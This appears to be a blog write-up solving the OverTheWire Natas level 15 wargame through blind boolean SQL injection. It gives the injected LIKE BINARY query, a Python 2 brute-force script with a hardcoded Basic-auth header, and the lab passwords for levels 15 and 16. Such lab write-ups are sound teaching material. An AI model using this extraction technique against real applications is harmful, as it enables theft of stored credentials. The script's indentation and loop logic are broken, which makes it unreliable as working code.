Natas · OverTheWire

Natas Level 15 → Level 16

Level 15

Username : natas15
Password :AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
URL : http://natas15.natas.labs.overthewire.org

Solution

To solve this level, we first log into the natas15 application using the credentials provided above.
The application is slightly different from the previous level this time as the application is only checking for the existence of a user based on the username.
Let’s see if the user for next level ‘natas16‘ exists in the table ‘users‘. The application returns ‘ This user exists ‘. We can also see the query that was used to create the users table.

CREATE TABLE `users` ( 
 `username` varchar(64) DEFAULT NULL, 
 `password` varchar(64) DEFAULT NULL 
);

In this level, the application is only making a search for the existence of a user. This is unlike the last time when the application returned the password for the next level if the database query returned atleast one row.
However, since the application is not performing any checks on the sanctity of user’s input, SQL Injection still seems quite possible.
Let’s take a step back and analyze the previous passwords for all the other levels. All the passwords had the following in common:

  • 32 characters
  • Alphanumeric only and no special characters.

Based on this knowledge, it’s safe to argue that the password for the next level might follow the same pattern. Therefore, one of the options now is to brute force all the different combinations of 32 characters alphanumeric password.
Numbers – 10 (0-9)
Lowercase and Uppercase characters – 26×2 = 52
Total number of alphanumeric characters = 62
Total combinations of 32 alphanumeric characters = 6232

6232 seems like a huge number to be able to brute force easily. There has to be a better way.

MySQL databases provide us with a function that allows us to check whether a substring exists in a string or not. For reference, follow this MySQL document.

Let’s run the following query by enabling the debug GET variable and analyzing the output:

SELECT * from users where username="natas16" and password like "%a%";

This query checks for the existence of ‘a‘ anywhere in the password string for username natas16.

6-27-2017 11-17-50 AM.png

As we can see that the application responds back with ‘ This user exists. ‘. Therefore, that means that the application returned atleast 1 row where the username was natas16 and the password contained the character ‘a‘. We can now create a function to check all the alphanumeric characters one by one and create a list of the characters that exist in the password. We can then use those characters to find the password for natas16 username.

import urllib2
alphanumericChars='1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
passwordChars=''
password=''
debug=0
targetURL='http://natas15.natas.labs.overthewire.org/'
passString = 'This user exists.'
REQ=urllib2.Request(targetURL, headers={"Authorization" : "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="})
try: 
    contents = urllib2.urlopen(REQ).read() 
        if debug: 
            print contents
    except urllib2.HTTPError as e: 
        print e.code 
        print e.read()
def findPassChars(): 
    global debug, passwordChars, targetURL, passString 
    for c in alphanumericChars: 
        completeURL=targetURL+'?debug='+ str(debug) +'&username=natas16"+and+password+like+BINARY+"%'+c+'%' 
        REQ=urllib2.Request(completeURL, headers={"Authorization" : "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="}) 
        contents = urllib2.urlopen(REQ).read() 
        if contents.find(passString) != -1:                
            passwordChars+= c                
            print 'Password contains character     :    ' + c 
            if debug: 
                print contents
def findPassword(): 
    global debug, passwordChars, targetURL, password 
    for i in range(32): 
        for c in passwordChars: 
             completeURL=targetURL+'?debug='+ str(debug) +'&username=natas16"+and+password+like+BINARY+"'+ password + c+'%' 
             REQ=urllib2.Request(completeURL, headers={"Authorization" : "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="}) 
             contents = urllib2.urlopen(REQ).read() 
             if contents.find(passString) != -1: 
                 if debug: 
                     print contents
                 password += c                
                 print 'Current password evaluation:' + password 
        break

print password
#Find characters in the password
findPassChars()
#Find password based on the characters found using findPassChars()
findPassword()

Note: MySQL like is case-insensitive therefore use BINARY to make your search case-sensitive.

In the above code, findPassChars function uses LIKE BINARY ‘%c%’, this helps us in finding if the character exists anywhere in the string. In the findPassword function uses LIKE BINARY ‘c%’. This distinction exists because now we are aware of the characters in the password and need to find their exact position.

Level 16

Username : natas16
Password : WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
URL : http://natas16.natas.labs.overthewire.org

2 thoughts on “Natas Level 15 → Level 16

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s